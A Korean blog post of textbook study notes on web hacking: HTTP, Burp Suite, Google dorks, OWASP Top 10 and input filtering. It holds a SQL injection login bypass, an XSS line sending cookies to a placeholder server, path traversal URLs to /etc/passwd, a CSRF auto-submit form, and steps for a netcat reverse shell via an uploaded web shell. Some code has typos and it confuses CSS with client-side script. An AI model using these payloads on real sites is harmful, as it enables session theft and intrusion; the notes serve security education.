'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.
• 웹의 이해
- 1989년 유럽입자물리연구소 CERN에서 근무하던 팀 버너스 리가 연구 목적의 프로젝트로 시작
- 프로젝트를 계획할 당시에는 웹을 ‘하이퍼텍스트 프로젝트 라고 불림
- 현재 웹 문서로 가장 많이 쓰이는 HTML은 하이퍼텍스트를 효과적으로 전달하기 위한 스크립트 언어
- 웹은 수많은 보안 취약점이 내재되어 있어 해킹에 취약한 집중적인 공격대상
• HTTP 프로토콜
- 여러 프로토콜이 쓰이나 가장 많이 쓰이는 프로토콜은 HTTP
- HTTP는 웹 처리 전반에 걸친 토대가 되기 때문에 웹 서버를 HTTP 서버라고 부르기도 함
연결 과정
1 | 서버가 준비 상태
2 | 클라이언트는 읽고자 하는 문서를 서버에 요청
3 | 서버는 웹 문서 중에서 요청받은 것을 클라이언트에 전송
4 | 연결을 끊음
HTTP Request
• GET 방식
- 가장 일반적인 HTTP Request 형태로, 요청 데이터의 인수를 웹 브라우저의 URL로 전송
- 데이터가 주소 입력란에 표시되므로 최소한의 보안도 유지되지 않는 취약한 방식
• POST 방식
- URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터를 전송
- 인숫값을 URL로 전송하지 않으므로 다른 사용자가 링크로 해당 페이지를 볼 수 없음
- 게시판의 경우: 목록이나 글 보기 화면은 접근 자유도를 위해 GET 방식을 사용 게시글을 저장·수정·삭제하거나 대용량 데이터를 전송할 때는 POST 방식을 사용
• 기타 방식
- HEAD 방식: 서버 측 데이터를 검색하고 요청하는 데 사용
- OPTIONS 방식: 자원에 대한 요구/응답 관계와 관련된 선택 사항 정보를 요청할 때 사용
- PUT 방식: 메시지에 포함된 데이터를 지정된 URI 장소에 그 이름으로 저장
- DELETE 방식: URI에 지정된 자원을 서버에서 지울 수 있게 함
- TRACE 방식: 요구 메시지의 최종 수신처까지 루프백을 검사하는 데 사용
• HTTP Response
- 클라이언트의 HTTP Request에 대한 응답 패킷
- 서버에서 쓰이는 프로토콜 버전, Request에 대한 실행 결과 코드, 간략한 실행 결과 설명문 내용이 담겨 있음
- 추가 정보로 전달할 데이터 형식, 길이 등이 MIME 형식으로 표현되어 있음
- 헤더 정보 뒤에는 실제 데이터(HTML 또는 이미지 파일)가 전달됨
- 데이터 전달이 끝나면 서버 연결을 끊음
실행 결과 코드 | 내용 | 설명 |
100번대 | 정보 전송 | HTTP 1.0까지는 계열에 대한 정의가 이루어지지 않았기 때문에 실험 용도 외에는 100번대 서버 측의 응답이 없다. |
200번대 | 성공 | 클라이언트의 요구가 성공적으로 수신 및 처리되었음을 의미한다. |
300번대 | 리다이렉션 | 해당 요구 사항을 처리하기 위해 사용자 에이전트가 수행해야 할 추가 동작이 있음을 의미한다. |
400번대 | 클라이언트 측 에러 | 클라이언트에 오류가 발생했을 때 사용한다. 예를 들면 클라이언트가 서버에 보내는 요구 메시지를 완전히 처리하지 못한 경우 등이다. |
500번대 | 서버 측 에러 | 서버 자체에서 발생한 오류 상황이나 요구 사항을 제대로 처리할 수 없을 때 사용한다. |
프론트 엔드
• HTML
- 프론트 엔드: 클라이언트, 즉 웹 브라우저에서 실행되는 프로그램 영역
- 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를 요청하면 해당 문서를 전송
- 클라이언트는 이 웹 페이지를 해석하여 웹 브라우저에 표현 (정적인 웹 페이지)
- 웹 브라우저와 웹 서버 사이에 전달되는 값을 변조하여 웹 서버 설정이나 로직을 바꾸는 웹 해킹에서 정적인 웹 페이지 바꿀 수 있는 가능성이 매우 낮다는 것이 보안상 장점
• CSS
- 동적인 웹 서비스를 제공하기 위해서 자바스크립트, 비주얼베이직 스크립트 등이 사용
- 현재 프론트 엔드를 담당하는 스크립트는 자바스크립트 • 자바스크립트는 HTML과 마찬가지로 웹 브라우저에 의해 해석 및 적용되며 CSS라고 함
- 서버가 아닌 웹 브라우저에서 해석되어 화면에 적용되어 웹 서버의 부담을 줄이면서도 다양한 기능을 수행
웹 해킹
• 웹 취약점 스캐너를 통한 정보 수집
- 웹 취약점 스캐너를 통한 정보 수집은 빠른 시간 내에 다양한 접속 시도를 수행할 수 있다는 것이 장점
- 웹 취약점 스캐너로 확인된 취약점은 실제 보안 문제가 있는 취약점이 아닌 경우가 많음
• 웹 프록시를 통한 취약점 분석
- 웹의 구조를 파악하거나 취약점을 점검할 때 혹은 웹 해킹을 할 때는 웹 프록시 툴을 사용
- 일반적으로 웹 해킹에 사용되는 웹 프록시는 클라이언트에 설치되고 클라이언트의 통제를 받음
- 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시 를 통해 확인하면서 수정할 수 있음
• 웹 프록시 Burp Suite
- http://portswigger.net/burp 에서 무료로 내려받아 설치한 후 실행
- 설치 방법: https://security-student.tistory.com/24 참고 하시면 됩니다.
• 서버에서 클라이언트로 전송되는 패킷 변조
- 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송
- A=40으로 바꾸어 전송
- 변조를 4 에서 해도 되지만 일반적으로 2 에서 변조하는 것이 훨씬 쉬움
- 서버가 클라이언트로 보낸 데이터 변조로 인해 발생하는 위험을 없애려면 서버에서 클라이언트로 전송한 값을 다시 참조하지 말아야 함
• 클라이언트에서 서버로 전송되는 패킷 변조
- 서버에서 클라이언트로 전송되는 패킷을 변조하는 방법과 같음
• 구글 해킹을 통한 정보 수집
- 웹 해킹을 하면서 많은 정보를 수집하려면 구글 같은 검색 엔진이 유용
• 구글의 고급 검색 기능
검색 인자 | 설명 | 검색 추가 인자 |
site | 특정 도메인으로 지정한 사이트에서 검색하려는 문자열이 포함된 사이트를 찾는다. | YES |
filetype | 특정 파일 유형에 한해 검색하는 문자가 들어 있는 사이트를 찾는다. | YES |
link | 링크로 검색하는 문자가 들어 있는 사이트를 찾는다. | NO |
cache | 특정 검색어에 해당하는 캐시된 페이지를 보여준다. | NO |
intitle | 페이지 제목에 검색하는 문자가 들어 있는 사이트를 찾는다. | NO |
inurl | 페이지 URL에 검색하는 문자가 들어 있는 사이트를 찾는다 | NO |
- ‘wishfree.com’ 도메인이 있는 페이지에서 ‘admin’ 문자열 검색: site
site:wishfree.com admin
- 파일 확장자가 txt이고 문자열 password가 들어간 파일 검색: filetype
filetype:txt password
- 디렉토리 리스팅이 가능한 사이트 검색:Intitle
intitle:index.of admin
• 검색 엔진의 검색을 피하는 방법
- 구글 검색 엔진의 검색을 막는다. User-agent: googlebot
- 모든 검색 로봇의 검색을 막는다. User-agent: *
- dbconn.ini 파일을 검색하지 못하게 한다. Disallow: dbconn.ini
- admin 디렉토리에 접근하지 못하게 한다. Disallow: /admin
• 웹의 주요 취약점
- 국제웹보안표준기구(OWASP)에서는 각 분야별 상위 열 가지 주요 취약점을 발표
- OWASP Top 10은 시기에 따라 항목별 취약점 구분이 달라지고 하나의 취약점이 두 가지 의미를 지닌 경우도 있음
• 명령 삽입 취약점(A1. Injection)
- 클라이언트의 요청을 처리하기 위해 전송받는 인수에 특정 명령을 실행할 수 있는 코드가 포함되는 경우 특정 명령을 실행하는 코드를 적절히 필터링하지 못하면 삽입 공격에 대한 취약점이 발생
- 명령 삽입 공격은 SQL, OS, LDAP 등 웹으로 명령을 전달하는 모든 경우에 적용 가능
- 웹 서버에서 데이터베이스로 전송되는 SQL 쿼리에는 아이디, 패스워드, 검색어 등 여러 가지 인수가 사용됨
- SQL 삽입 공격은 이 인수에 추가 실행 코드를 넣는 것
- 웹에서 로그인할 때도 이와 유사한 SQL문이 삽입
SELECT * FROM "user"
WHERE e_mail_address = '입력된 아이디' AND password ='입력된 패스워드'
- 웹 소스에서 SQL을 처리하는 부분
exports.getLoginUserName = function(user_email, password, callback) {
var user_name;
var sql = "SELECT user_name, e_mail_address FROM user WHERE e_mail_address =
'" + user_email + "' AND password = '" + password + "' ";
db.each(sql, function(err, row) {
if (user_email = = row.e_mail_address) {
user_name = row.user_name;
callback (user_name);
}
},
function(err, rows) {
if (rows = = 0) {
user_name = "Login_Failed";
callback (user_name);
}
});
}
- SQL문에서 where로 입력되는 조건문을 항상 참으로 만들기 위해 조건 값에 ‘or’‘=’를 입력
- 위와 같은 쿼리문이 만들어지면 조건문인 WHERE문에서 password 부분은 or 조건으로 항상 만족되므로 공격자는 사용자 인증에 성공
패스워드: ' OR ''='
SELECT * FROM "user"
WGERE e_mail_address = 'wishfree@empas.com' and password = '' or ''=''
- SQL 삽입 공격은 웹에서 사용자의 입력 값을 받아 데이터베이스에 SQL문으로 데이터를 요청하는 모든 곳에 가능하고, 인증뿐만 아니라 다양한 형태의 SQL문을 실행할 수 있음
- 게시판, 우편번호 검색처럼 대량의 정보를 검색하는 부분에서 웹 서버와 데이터베이스 연동이 일어나므로 SQL 삽입 공격을 수행할 수 있음
• 인증 및 세션 관리 취약점(A2. Broken Authentication and Session Management)
- 취약한 패스워드 설정
- 웹의 경우 사용자는 개발자가 처음 설정한 패스워드를 그대로 쓰는 경우가 많음
- 웹에서 admin/admin과 같이 취약한 패스워드를 자주 발견할 수 있음
• 사용자 데이터를 이용한 인증
1 | 최초 인증 과정은 정상적인 아이디와 패스워드의 입력으로 시작
2 | 패스워드가 올바른 경우의 접속에 대해 인증을 한 뒤 인증 값으로 쿠키와 같은 세션 값을 넘겨줌
3 | 웹 서버가 새로운 페이지에 접근할 때 공격자가 2에서 수신한 인증 허용 값을 전달받으면서 해당 세션 이 유효한 인증인지 확인
4 | 공격자는 세션 인증 값은 그대로 사용하고 UserNo 값만 변경하여 다른 계정으로 로그인한 것처럼 웹 서비스를 이용할 수 있음
• XSS 취약점(A3. Cross-Site Scripting)
- XSS: 공격자가 작성한 스크립트가 다른 사용자에게 전달되는 것
- 다른 사용자의 웹 브라우저 안에서 적절한 검증 없이 실행되기 때문에 사용자의 세션을 탈취하거나 웹 사이트를 변조하고 악의적인 사이트로 이동할 수 있음
• XSS 공격의 구조
1 | 임의의 XSS 취약점이 존재하는 서버에 XSS 코드를 작성하여 저장
2 | 공격자가 작성해놓은 XSS 코드에 해당 웹 서비스 사용자가 접근
3 | 웹 서버는 사용자가 접근한 XSS 코드가 포함된 게시판의 글을 사용자에게 전달
4 | 사용자의 시스템에서 XSS 코드가 실행
5 | XSS 코드가 실행된 결과가 공격자에게 전달되고 공격자는 공격을 종료
• XSS 취약점(A3. Cross-Site Scripting)
- 게시판에 대한 XSS 공격의 취약성 여부는 XSS코드를 게시판에 입력해서 확인
- XSS 취약점을 확인하기 위한 경고 창을 띄우는 형태의 스크립트를 입력하면 현재 해당 문서를 읽는 사용자의 쿠키 값을 웹 서버로 전달하게 됨
<script>location.href="http://서버주소/XSS/GetCookie.asp?cookie="+document.cookie</script>
• 취약한 접근 제어(A4. Broken Access Control)
- 인증된 사용자가 수행할 수 있는 것에 대한 제한을 제대로 적용하지 않은 것을 의미
이 취약점에 노출되면 일반 사용자나 로그인하지 않은 사용자가 관리자 페이지에 접근 하여 관리자 권한의 기능을 악용할 수 있음
- 인증 우회를 막으려면 웹의 중요 페이지에 세션 값(쿠키)을 확인하는 검증 로직을 입력해두어야 함
- 프로그램 개발시 표준 인증 로직을 만들어 웹에 존재하는 모든 페이지의 앞부분에 입력해야 함
• 디렉토리 탐색
- 웹 브라우저에서 확인 가능한 경로의 상위를 탐색하여 특정 시스템 파일을 다운로드하는 공격 방법
- 게시판 등에서 첨부 파일을 내려받을 때는 다음과 같이 백 엔드 서비스를 주로 사용
http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp
- 정상적인 다운로드 페이지를 이용하여 다른 파일의 다운로드를 요청
http://www.wishfree.com/board/download.jsp?filename=../list.jsp
- 파일 시스템에서 .는 현재 디렉토리를 의미하고 ..는 상위 디렉토리를 의미
- 만약 공격자가 filename 변수에 ../list.jsp를 입력한다면 다운로드가 기본적으로 접근하는 /board /upload 디렉토리의 바로 상위 디렉토리에서 list.jsp를 다운로드하라는 의미
- /board/admin 디렉토리에 있는 adminlogin.jsp를 다운로드
http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp
- download.jsp 파일 자신도 다음과 같이 입력하여 다운로드
http://www.wishfree.com/board/download.jsp?filename=../download.jsp
- 유닉스 시스템의 경우에는 /etc/passwd와 같이 사용자 계정과 관련된 중요한 파일의 다운로드를 시도할 수 있음
http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc.passwd
- etc/passwd 파일을 다운로드할 수 있다면 몇 번의 시행착오를 거쳐서 웹 소스가 있는 디렉토리에서 일곱 번째 상위 디렉토리가 루트 디렉토리임을 알 수 있음
보안 설정 오류(A5. Security Misconfiguration)
• 디렉토리 리스팅
- 웹 브라우저에서 웹 서버의 특정 디렉토리를 열면 그 디렉토리에 있는 파일과 목록이 모두 나열되는 것을 말함
- 상당수 디렉토리 리스팅은 관리자가 설정 사항을 인지하지 못했거나 웹 서버 자체의 취약점 때문에 발생
• 백업 및 임시 파일 존재
- 웹 사이트 개발시 웹 서버 백업 파일이나 임시 파일을 삭제하지 않고 방치하면 공격자가 백업 파일을 통해 웹 애플리케이션 의 내부 로직, 데이터베이스 접속 정보 등 획득 가능
- 예) login.asp의 백업 파일인 login.asp.bak 파일
• 미흡한 주석 관리
- 웹 애플리케이션에서 웹 프록시를 이용하면 일반 사용자도 볼 수 있는 주석에는 웹 애플리케이션 개발 과정, 주요 로직에 대한 설명, 디렉토리 구조, 테스트 소스 정보, 아이디와 패스워드 등이 기록됨
- 웹 애플리케이션 개발시 주석에 정보를 기록할 때는 주의해야 함
• 파일 업로드 제한 부재
- 공격자가 웹 서버에 악의적인 파일을 전송한 뒤 원격지에서 실행하면 웹 서버 장악, 내부 침투 공격 수행 가능
- 웹 해킹의 최종 목표인 웹 서버 통제권을 얻기 위해 반드시 성공해야 하는 공격
• 리버스 텔넷
- 웹 해킹으로 시스템 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을 획득하기 위한 방법으로, 방화벽이 있는 시스템을 공격할 때 자주 사용
- 심화된 공격을 하려면 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요한데, 이때 리버스 텔넷이 유용
- 공격자의 PC에 텔넷 서비스가 열려있고 방화벽의 아웃바운드 정책이 열려 있다면 웹 서버에서 공격자의 텔넷으로 접속 가능
- 웹 서버에서 권한을 획득하면 웹서버에서 공격자의 PC로 텔넷 연결을 허용하는 상황을 공격자가 이용할 수 있음
1 | 명령 창 획득: 파일 업로드 등으로 웹 브라우저에서 실행 가능한 웹 셸을 웹 서버에 업로드
공격자가 명령을 입력할 수 있는 명령 창 획득함
2 | 리버스 텔넷용 툴 업로드: 서버 게시판의 파일 업로드 기능을 이용하여 nc(net cat)와 같은 리버스 텔넷용 툴 업로드
3 | 공격자 PC의 리버스 텔넷 데몬 활성화: 서버에서 리버스 텔넷을 보내면 이를 받아 텔넷을 열 수 있도록 준비
4 | 획득한 명령 창으로 공격자에게 리버스 텔넷을 보내면 리버스 텔넷 창 획득
• 민감한 데이터 노출(A6. Sensitive Data Exposure)
- 웹 사이트 해킹으로 개인 정보가 유출되는 것은 신용카드 번호, 주민등록번호, 인증 신뢰 정보와 같은 민감한 데이터를 보호하지 않는 것이 주요한 원인
- 민감한 데이터를 보호하려면 데이터 중요도에 따라 암호화 로직을 사용하고 데이터베이스 테이블 단위에서 암호화를 수행해야 함
• 공격 방어 취약점(A7. Insufficient Attack Protection)
- 예전 웹 애플리케이션은 해킹 공격을 탐지, 방지, 대응할 수 있는 기능을 갖추고 있지 않았음
- APT 공격이 일반화되면서 보안 솔루션으로 탐지가 어렵자 웹 애플리케이션 수준에서 자동으로 탐지, 로깅, 응답 및 공격 시도 차단을 포함하도록 권고
• CSRF 취약점(A8. Cross-Site Request Forgery)
- 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그인된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등) 를 하게 만드는 공격
- 기본적으로 XSS 공격과 매우 유사하며, XSS 공격의 발전된 형태로 보기도 함
- XSS 공격은 악성 스크립트가 클라이언트에서 실행되는 데 반해 CSRF 공격을 하면 사용자가 악성 스크립트를 서버에 요청
- CSRF 공격 예시
wishfree라는 계정이 주문한 물품에 대해 10,000원을 결제하라는 내용
<body onload = "document.csrf.submin()“>
<form name="csrf" action="http://www.shop.c o.k r/malladmin/order/order.jsp" method="POST“>
input type="hidden" name="uid" value="wishfree“
input type="hidden" name="mode" value="pay_for_order
input type="hiddne" name="amount" value="10000“
</form>
• 취약점이 있는 컴포넌트 사용(A9. Using Components with Known Vulnerabilities)
- 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈이 다양하게 사용되면서 보안에 취약한 컴포넌트가 악용되면 심각한 데이터 손실, 서버 장악이 가능해짐
- 사용하려는 컴포넌트, 라이브러리의 보안 취약점을 충분히 검토해야 함
• 취약한 API(A10. Underprotected APIs)
- API를 통해 웹 서비스 상호 간의 연동이 이루어지므로 API 사용시 보안에 취약하지 않은지 충분한 검토가 필요
웹의 취약점 보완
• 특수 문자 필터링
- 웹 해킹의 가장 기본적인 형태 중 하나는 인수 조작으로 예외적인 실행을 유발하기 위해 특수문자를 포함
특수 문자 | 관련된 공격 | 특수 문자 | 관련된 공격 |
< | XSS 취약점 공격 | = | SQL 삽입 공격 |
> | XSS 취약점 공격 | ; | SQL 삽입 공격 |
& | XSS 취약점 공격 | * | SQL 삽입 공격 |
" | XSS 취약점 공격 | . | SQL 삽입 공격 |
? | XSS 취약점 공격 | .. | SQL 삽입 공격 |
' | XSS 취약점 공격, SQL 삽입 공격 | -- | SQL 삽입 공격 |
/ | XSS 취약점 공격, 디렉토리 탐색 공격 |
- 본문에 포함되는 주요 특수 문자를 함수를 이용하여 제거함으로써 XSS 취약점 공격을 방어 할 수 있음
function RemoveBad(InStr){
InStr = InStr.replace(/\</g,"");
InStr = InStr.replace(/\>/g,"");
InStr = InStr.replace(/\&/g,"");
InStr = InStr.replace(/\"/g,"");
InStr = InStr.replace(/\?/g,"");
InStr = InStr.replace(/\'/g,"");
InStr = InStr.replace(/\//g,"");
return InStr;
}
• 서버 통제 작용
- CSS 기반의 언어로 필터링하는 경우에는 공격자가 로직만 파악하면 필터링이 쉽게 무력화되므로 ASP, JSP 등 과 같은 SSS로 필터링 로직을 수행해야 함
• 지속적인 세션 관리
- 모든 웹 페이지에 일관성 있는 인증 로직을 적용하려면 기업 또는 웹 사이트 단위에서 세션 인증 로직을 표준화 하고, 표준을 준수하여 웹 페이지를 개발하도록 해야 함
'Network > hacking and security' 카테고리의 다른 글
네트워크 해킹과 보안 - 보안 시스템 (0) | 2023.02.15 |
---|---|
네트워크 해킹과 보안 - 네트워크 해킹 (1) | 2022.09.26 |
네트워크 해킹과 보안 - Whois, DNS (0) | 2022.09.26 |
네트워크 해킹과 보안 - 네트워크 기본 (1) | 2022.09.26 |